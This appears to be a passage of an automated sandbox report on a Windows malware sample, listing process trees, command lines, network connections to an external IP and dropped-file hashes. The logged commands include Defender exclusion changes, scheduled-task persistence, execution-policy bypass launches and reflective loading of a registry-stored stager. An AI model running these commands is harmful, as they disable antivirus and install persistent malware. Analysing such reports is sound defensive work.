PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2004 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 2008 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2008 wrote to memory of 908 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 908 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 908 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 908 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 908 wrote to memory of 1368 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 908 wrote to memory of 1368 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 908 wrote to memory of 1368 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 908 wrote to memory of 1368 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1368 wrote to memory of 1256 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\eyaidd.exe
PID 1368 wrote to memory of 1256 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\eyaidd.exe
PID 1368 wrote to memory of 1256 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\eyaidd.exe
PID 1368 wrote to memory of 1256 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\eyaidd.exe

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

\\?\C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T /R

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"{path}"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp95FA.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\$77-update.exe

"C:\Users\Admin\AppData\Roaming\$77-update.exe"

C:\Users\Admin\AppData\Roaming\$77-update.exe

"{path}"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\eyaidd.exe"'

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\eyaidd.exe"' & exit

C:\Users\Admin\AppData\Local\Temp\eyaidd.exe

"C:\Users\Admin\AppData\Local\Temp\eyaidd.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {06A67F19-17F6-438D-A42E-993AA43A81D9} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\SysWOW64\dllhost.exe

C:\Windows\SysWOW64\dllhost.exe /Processid:{1391a9a9-a27c-4131-b9bc-6ae3002daf85}

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{0075fb83-057a-4a5b-8931-b54cff124ce1}

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\wqeaus.exe"' & exit

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "40221832-15657221111348278579-1291301102-270342584428335938-1775297019836527908"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\wqeaus.exe"'

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe"' & exit

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "9411507301337176385-370223950-1565010077-788725133753481383656399241-1453496847"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe"'

C:\Users\Admin\AppData\Local\Temp\wqeaus.exe

"C:\Users\Admin\AppData\Local\Temp\wqeaus.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-2126688601438433197453180706107048100910543333985052710371403488598948296227"

C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe

"C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tdwaks.exe"' & exit

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-734885347-210092292439671167-1158776420-17250709613824598751763746920484631453"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\tdwaks.exe"'

C:\Users\Admin\AppData\Local\Temp\tdwaks.exe

"C:\Users\Admin\AppData\Local\Temp\tdwaks.exe"

C:\Windows\system32\schtasks.exe

"schtasks" /create /tn "$77Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\tdwaks.exe" /rl HIGHEST /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1882779902600238922123813767864418877971046142218562104-12854370841825208660"

Network

Country Destination Domain Proto
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:2525 tcp
CH 179.43.187.19:18875 179.43.187.19 tcp
CH 179.43.187.19:2525 tcp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.13.31:443 api.ip.sb tcp

Files

memory/1636-54-0x0000000000C50000-0x0000000000CE8000-memory.dmp

memory/1636-55-0x00000000762F1000-0x00000000762F3000-memory.dmp

memory/1636-56-0x00000000005D0000-0x00000000005F0000-memory.dmp

memory/1636-57-0x0000000005B30000-0x0000000005B96000-memory.dmp

memory/1636-58-0x00000000007D0000-0x00000000007E2000-memory.dmp

memory/928-59-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-60-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-62-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-63-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-64-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-65-0x000000000040D15E-mapping.dmp

memory/928-69-0x0000000000400000-0x0000000000412000-memory.dmp

memory/928-67-0x0000000000400000-0x0000000000412000-memory.dmp

memory/824-71-0x0000000000000000-mapping.dmp

memory/396-72-0x0000000000000000-mapping.dmp

memory/1796-74-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\tmp95FA.tmp.bat

MD5 b7d26cf1e4ec6b509a4fde9569afef58
SHA1 21be804423003844bb3f89a39c0f19d3da0422b5
SHA256 7979dfcda3dd300a8768743857c01917d946dca54ab4a13ef56b20773cece9c7
SHA512 7651991436d552804bbd31e4e0131968307611d9c7d769e030fd97b3a294ffb099f2931628820d09f8370854e854ce4ed3ebb054a8a1eeaf2131ed298dda3fc3

memory/976-75-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/2004-78-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/2004-80-0x0000000000070000-0x0000000000108000-memory.dmp

\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/2008-92-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2008-94-0x0000000000400000-0x0000000000412000-memory.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/2008-89-0x000000000040D15E-mapping.dmp

memory/2040-96-0x0000000000000000-mapping.dmp

memory/1776-97-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7fee7d66034c8bc122c3754ce8c5caa8
SHA1 0fe74633fb80e2dd3bba97673776c42a8ad01b9f
SHA256 86a93fe4a2f31356272fef33f8f872e8dd8cfed9d818186bc88635886f3fbe6b
SHA512 8373ce097859f436134d2a0f945995a615d01cee7a127d0fd35e037b177324b79c565efbf487f4f7cdf344947a1d55c2434654891edcf5e798a5512f16acd4d4

memory/2040-102-0x0000000070A20000-0x0000000070FCB000-memory.dmp

memory/1776-101-0x0000000070A20000-0x0000000070FCB000-memory.dmp

memory/1776-104-0x0000000070A20000-0x0000000070FCB000-memory.dmp

memory/2040-103-0x0000000070A20000-0x0000000070FCB000-memory.dmp

memory/2008-105-0x0000000001F80000-0x0000000001F8C000-memory.dmp

memory/1368-107-0x0000000000000000-mapping.dmp

memory/908-106-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7fee7d66034c8bc122c3754ce8c5caa8
SHA1 0fe74633fb80e2dd3bba97673776c42a8ad01b9f
SHA256 86a93fe4a2f31356272fef33f8f872e8dd8cfed9d818186bc88635886f3fbe6b
SHA512 8373ce097859f436134d2a0f945995a615d01cee7a127d0fd35e037b177324b79c565efbf487f4f7cdf344947a1d55c2434654891edcf5e798a5512f16acd4d4

C:\Users\Admin\AppData\Local\Temp\eyaidd.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/1256-112-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\eyaidd.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

C:\Users\Admin\AppData\Local\Temp\eyaidd.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/1368-114-0x0000000070890000-0x0000000070E3B000-memory.dmp

memory/1584-118-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

memory/1844-116-0x0000000000000000-mapping.dmp

memory/1584-115-0x0000000000000000-mapping.dmp

memory/1584-119-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

memory/1584-120-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

memory/1584-123-0x0000000001134000-0x0000000001137000-memory.dmp

memory/1584-125-0x000000000113B000-0x000000000115A000-memory.dmp

memory/1844-124-0x0000000077D80000-0x0000000077F00000-memory.dmp

memory/1844-122-0x00000000702E0000-0x000000007088B000-memory.dmp

memory/1356-127-0x0000000000403F30-mapping.dmp

memory/1356-132-0x0000000000070000-0x000000000008D000-memory.dmp

memory/1356-130-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1356-126-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1844-134-0x00000000003E0000-0x00000000003E9000-memory.dmp

memory/1356-135-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1356-139-0x0000000000160000-0x0000000000183000-memory.dmp

memory/1844-138-0x0000000003A70000-0x0000000003A93000-memory.dmp

memory/1356-136-0x0000000077D80000-0x0000000077F00000-memory.dmp

memory/1844-137-0x0000000003A50000-0x0000000003A6D000-memory.dmp

memory/1844-140-0x00000000702E0000-0x000000007088B000-memory.dmp

memory/1584-141-0x0000000077BA0000-0x0000000077D49000-memory.dmp

memory/1844-142-0x0000000077D80000-0x0000000077F00000-memory.dmp

memory/1584-143-0x0000000077BA0000-0x0000000077D49000-memory.dmp

memory/1584-144-0x0000000077A80000-0x0000000077B9F000-memory.dmp

memory/1728-145-0x0000000140000000-0x000000014004B000-memory.dmp

memory/1728-146-0x0000000140003954-mapping.dmp

memory/1728-148-0x0000000140000000-0x000000014004B000-memory.dmp

memory/1584-150-0x000000000113B000-0x000000000115A000-memory.dmp

memory/1584-149-0x0000000077BA0000-0x0000000077D49000-memory.dmp

memory/1584-152-0x0000000077A80000-0x0000000077B9F000-memory.dmp

memory/1728-151-0x0000000077BA0000-0x0000000077D49000-memory.dmp

memory/1728-153-0x0000000077A80000-0x0000000077B9F000-memory.dmp

memory/420-157-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/420-156-0x000007FEBE110000-0x000007FEBE120000-memory.dmp

memory/420-154-0x0000000000500000-0x0000000000526000-memory.dmp

memory/472-161-0x000007FEBE110000-0x000007FEBE120000-memory.dmp

memory/472-163-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/480-166-0x000007FEBE110000-0x000007FEBE120000-memory.dmp

memory/480-168-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/1728-167-0x0000000077BA0000-0x0000000077D49000-memory.dmp

memory/1728-164-0x0000000140000000-0x000000014004B000-memory.dmp

memory/420-169-0x0000000000500000-0x0000000000526000-memory.dmp

memory/420-171-0x0000000000530000-0x000000000055D000-memory.dmp

memory/472-174-0x0000000000100000-0x000000000012D000-memory.dmp

memory/488-173-0x000007FEBE110000-0x000007FEBE120000-memory.dmp

memory/480-177-0x00000000000F0000-0x000000000011D000-memory.dmp

memory/488-175-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/488-179-0x0000000000440000-0x000000000046D000-memory.dmp

memory/592-182-0x0000000000410000-0x000000000043D000-memory.dmp

memory/592-185-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/672-187-0x0000000000510000-0x000000000053D000-memory.dmp

memory/1596-250-0x0000000000000000-mapping.dmp

memory/1160-251-0x0000000000000000-mapping.dmp

memory/1192-253-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7fee7d66034c8bc122c3754ce8c5caa8
SHA1 0fe74633fb80e2dd3bba97673776c42a8ad01b9f
SHA256 86a93fe4a2f31356272fef33f8f872e8dd8cfed9d818186bc88635886f3fbe6b
SHA512 8373ce097859f436134d2a0f945995a615d01cee7a127d0fd35e037b177324b79c565efbf487f4f7cdf344947a1d55c2434654891edcf5e798a5512f16acd4d4

memory/1268-255-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7fee7d66034c8bc122c3754ce8c5caa8
SHA1 0fe74633fb80e2dd3bba97673776c42a8ad01b9f
SHA256 86a93fe4a2f31356272fef33f8f872e8dd8cfed9d818186bc88635886f3fbe6b
SHA512 8373ce097859f436134d2a0f945995a615d01cee7a127d0fd35e037b177324b79c565efbf487f4f7cdf344947a1d55c2434654891edcf5e798a5512f16acd4d4

\Users\Admin\AppData\Local\Temp\wqeaus.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

C:\Users\Admin\AppData\Local\Temp\wqeaus.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

C:\Users\Admin\AppData\Local\Temp\wqeaus.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

memory/756-260-0x0000000000000000-mapping.dmp

memory/1160-264-0x0000000070890000-0x0000000070E3B000-memory.dmp

memory/760-266-0x0000000000A00000-0x0000000000A2D000-memory.dmp

memory/672-263-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/760-269-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/756-268-0x00000000008B0000-0x00000000008CE000-memory.dmp

memory/804-273-0x0000000000960000-0x000000000098D000-memory.dmp

memory/888-271-0x00000000009A0000-0x00000000009CD000-memory.dmp

memory/836-281-0x00000000007C0000-0x00000000007ED000-memory.dmp

memory/804-277-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/836-284-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/300-293-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

\Users\Admin\AppData\Local\Temp\ixbmlw.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/300-287-0x0000000000A70000-0x0000000000A9D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ixbmlw.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/744-295-0x0000000001B70000-0x0000000001B9D000-memory.dmp

memory/744-298-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/320-302-0x0000000000000000-mapping.dmp

memory/1120-301-0x0000000001DE0000-0x0000000001E0D000-memory.dmp

memory/1076-299-0x00000000007C0000-0x00000000007ED000-memory.dmp

memory/1120-303-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/1164-304-0x0000000001B00000-0x0000000001B2D000-memory.dmp

memory/1268-306-0x0000000070890000-0x0000000070E3B000-memory.dmp

memory/1164-305-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/1268-308-0x0000000004FC0000-0x0000000004FE3000-memory.dmp

memory/852-307-0x00000000001C0000-0x00000000001ED000-memory.dmp

memory/1536-311-0x00000000001E0000-0x000000000020D000-memory.dmp

memory/1196-310-0x0000000002230000-0x000000000225D000-memory.dmp

memory/1196-314-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/1536-313-0x0000000037BE0000-0x0000000037BF0000-memory.dmp

memory/1032-316-0x00000000001F0000-0x000000000021D000-memory.dmp

memory/1772-315-0x0000000000820000-0x000000000084D000-memory.dmp

memory/1056-329-0x0000000000000000-mapping.dmp

memory/1668-330-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 7fee7d66034c8bc122c3754ce8c5caa8
SHA1 0fe74633fb80e2dd3bba97673776c42a8ad01b9f
SHA256 86a93fe4a2f31356272fef33f8f872e8dd8cfed9d818186bc88635886f3fbe6b
SHA512 8373ce097859f436134d2a0f945995a615d01cee7a127d0fd35e037b177324b79c565efbf487f4f7cdf344947a1d55c2434654891edcf5e798a5512f16acd4d4

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

\Users\Admin\AppData\Local\Temp\tdwaks.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

C:\Users\Admin\AppData\Local\Temp\tdwaks.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

C:\Users\Admin\AppData\Local\Temp\tdwaks.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
